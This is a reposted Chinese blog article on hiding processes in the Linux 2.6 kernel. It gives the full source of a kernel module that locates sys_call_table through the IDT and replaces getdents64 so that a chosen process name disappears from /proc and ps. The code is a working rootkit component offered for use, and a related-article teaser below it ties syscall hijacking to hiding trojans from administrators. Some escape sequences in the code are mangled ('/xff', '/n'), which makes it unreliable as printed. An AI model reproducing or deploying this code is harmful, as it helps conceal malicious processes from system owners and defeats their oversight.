(转)在Linux2.6内核下实现进程隐藏

news/2024/7/6 6:34:43

很早以前的小程序,比较简单但是觉得有趣

原理很简单,Linux查看进程的命令ps是通过系统调用sys_getdents实现,sys_getdents用户获取一个指定路径下的目录条目,实际上就是枚举

/proc/ 下的pid,这样我们只需要hook一下sys_getdents,把相应的要隐藏的pid信息去掉即可。
以下是LKM代码,在Linux-2.6.14测试并运行成功

 

 

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <linux/string.h>
#include <linux/file.h>
#include <linux/fs.h>
#define CALLOFF 100

//使用模块参数来定义需要隐藏的进程名
char *processname;
module_param(processname, charp, 0);
struct {
unsigned short limit;
unsigned int base;
} __attribute__ ((packed)) idtr;
struct {
unsigned short off1;
unsigned short sel;
unsigned char none,
flags;
unsigned short off2;
} __attribute__ ((packed)) * idt;
void** sys_call_table;
asmlinkage long (*orig_getdents)(unsigned int fd, struct linux_dirent64 __user *dirp, unsigned int count);
char * findoffset(char *start)
{
char *p;
for (p = start; p < start + CALLOFF; p++)
if (*(p + 0) == '/xff' && *(p + 1) == '/x14' && *(p + 2) == '/x85')
return p;
return NULL;
}
int myatoi(char *str)
{
int res = 0;
int mul = 1;
char *ptr;
for (ptr = str + strlen(str) - 1; ptr >= str; ptr--) {
if (*ptr < '0' || *ptr > '9')
return (-1);
res += (*ptr - '0') * mul;
mul *= 10;
}
return (res);
}
struct task_struct *get_task(pid_t pid)
{
struct task_struct *p = get_current(),*entry=NULL;
list_for_each_entry(entry,&(p->tasks),tasks)
{
if(entry->pid == pid)
{
printk("pid found/n");
return entry;
}
}
return NULL;
}
static inline char *get_name(struct task_struct *p, char *buf)
{
int i;
char *name;
name = p->comm;
i = sizeof(p->comm);
do {
unsigned char c = *name;
name++;
i--;
*buf = c;
if (!c)
break;
if (c == '//') {
buf[1] = c;
buf += 2;
continue;
}
if (c == '/n') {
buf[0] = '//';
buf[1] = 'n';
buf += 2;
continue;
}
buf++;
}
while (i);
*buf = '/n';
return buf + 1;
}
int get_process(pid_t pid)
{
struct task_struct *task = get_task(pid);
char *buffer[64] = {0};
if (task)
{
get_name(task, buffer);
if(strstr(buffer,processname))
return 1;
else
return 0;
}
else
return 0;
}
asmlinkage long hacked_getdents(unsigned int fd, struct linux_dirent64 __user *dirp, unsigned int count)
{
//added by lsc for process
long value;
struct inode *dinode;
int len = 0;
int tlen = 0;
struct linux_dirent64 *mydir = NULL;
//end
  
//在这里调用一下sys_getdents,得到返回的结果
value = (*orig_getdents) (fd, dirp, count);
tlen = value;
//遍历得到的目录列表
while(tlen > 0)
{
len = dirp->d_reclen;
tlen = tlen - len;
printk("%s/n",dirp->d_name);
 
    //在proc文件系统中,目录名就是pid,我们再根据pid找到进程名 
if(get_process(myatoi(dirp->d_name)) )
{
printk("find process/n");
//发现匹配的进程,调用memmove将这条进程覆盖掉
memmove(dirp, (char *) dirp + dirp->d_reclen, tlen);
value = value - len;
}
if(tlen)
dirp = (struct linux_dirent64 *) ((char *)dirp + dirp->d_reclen);
}
return value;
}
void **get_sct_addr(void)
{
unsigned sys_call_off;
unsigned sct = 0;
char *p;
asm("sidt %0":"=m"(idtr));
idt = (void *) (idtr.base + 8 * 0x80);
sys_call_off = (idt->off2 << 16) | idt->off1;
if ((p = findoffset((char *) sys_call_off)))
sct = *(unsigned *) (p + 3);
return ((void **)sct);
}
static void filter_exit(void)
{
if (sys_call_table)
sys_call_table[__NR_getdents64] = orig_getdents;
}
static int filter_init(void)
{
//得到sys_call_table的偏移地址
sys_call_table = get_sct_addr();
if (!sys_call_table) {
printk("get_act_addr(): NULL.../n");
return 0;
} else
printk("sct: 0x%x/n", (unsigned int)sys_call_table);
//将sys_call_table中注册的系统调用sys_getdents替换成我们自己的函数hack_getdents
orig_getdents = sys_call_table[__NR_getdents64];
sys_call_table[__NR_getdents64] = hacked_getdents;
return 0;
}
module_init(filter_init);
module_exit(filter_exit);
MODULE_LICENSE("GPL");


http://www.niftyadmin.cn/n/4464081.html

相关文章

2.6内核系统调用劫持段错误segment fault等问题的解决方法

在网上搜了很多关于2.6内核系统调用劫持的文章&#xff0c;流传的最多的可能就是那个以mkdir系统调用为例子的文章&#xff0c;自己按照源码敲进去&#xff0c;写好Makefile后也编译通过了&#xff0c;但是加载时却出现了Segment fault的错误&#xff0c;后来调试了一下&#x…

Linux2.6内核中劫持系统调用隐藏进程

网上很多类似的文章,其中很多示例程序都是在比较老的内核版本上测试过,很多在新的内核下根本无法运行,我收集了一些相关的资料,并给出一个在linux内核2.6.28(ubuntu9.04)上可以运行的程序代码.相比其他一些文章,修改如下:1.增加了两个函数,清CR0的第20位,不然在替换sys_call_ta…

windows和linux下如何远程获取操作系统版本和主机名

远程获取windows和linux操作系统版本和主机名需要具备以下条件&#xff1a; 假设 主机A(windows 7)&#xff0c;ip:192.168.12.2 主机B(centos 6.3)&#xff0c;ip:192.168.12.3 主机C(windows 2008)-为远程要获取信息的主机&#xff0c;ip:192.168.12.4 主机D(centos 6.3…

shell脚本-利用check_snmp查看远程linux操作系统版本

说明&#xff1a; 脚本通过本地执行check_snmp命令&#xff0c;获取远程linux操作系统版本&#xff0c;并将信息写入文本中 #!/bin/bash awk {print $1} list.txt |while read line do echo $line info/usr/local/nagios/libexec/check_snmp -H $line -C public -o sysDescr…

实现Linux系统调用劫持

关于系统调用劫持如果一个木马要隐藏起来&#xff0c;不被系统管理员发现。截获系统调用似乎是必须的。大部分情况下&#xff0c;通过修改系统调用表来实现系统调用的劫持。下面是一个典型的截获系统调用的模块&#xff1a;模块一&#xff1a;#include #include #include #incl…

获取Linux 2.6.x sys_call_table

在linux中所有的syscall都是调用int 0x80, int 0x80的中断服务程序为system_call(arch/x86/kernel/traps_32.c:set_system_gate(SYSCALL_VECTOR,&system_call). system_call (arch/x86/entry_32.S)最终call *sys_call_table(,%eax,4)来完成一个syscall调用. 即 int 0x80…

当访问php遇到空白页时

当访问php页面遇到返回空白页时&#xff0c;请在检查语法有无问题时&#xff0c;多多关注php.ini配置中是不是把disable_functions phpinfo启用了。

转:Before main() 分析(gdb的使用)

main()的堆栈内容演示。预备知识&#xff1a;1. 常用命令(gdb) b * 0x80483d8 # 在地址处设置断点(gdb) b main# 在标号处设置断点(gdb) disass 0x80483d8# 反汇编(gdb) si执行1条汇编指令&#xff0c;ni执行整个汇编函数&#xff1b;s执行1条C语句&#xff0c;n执行整…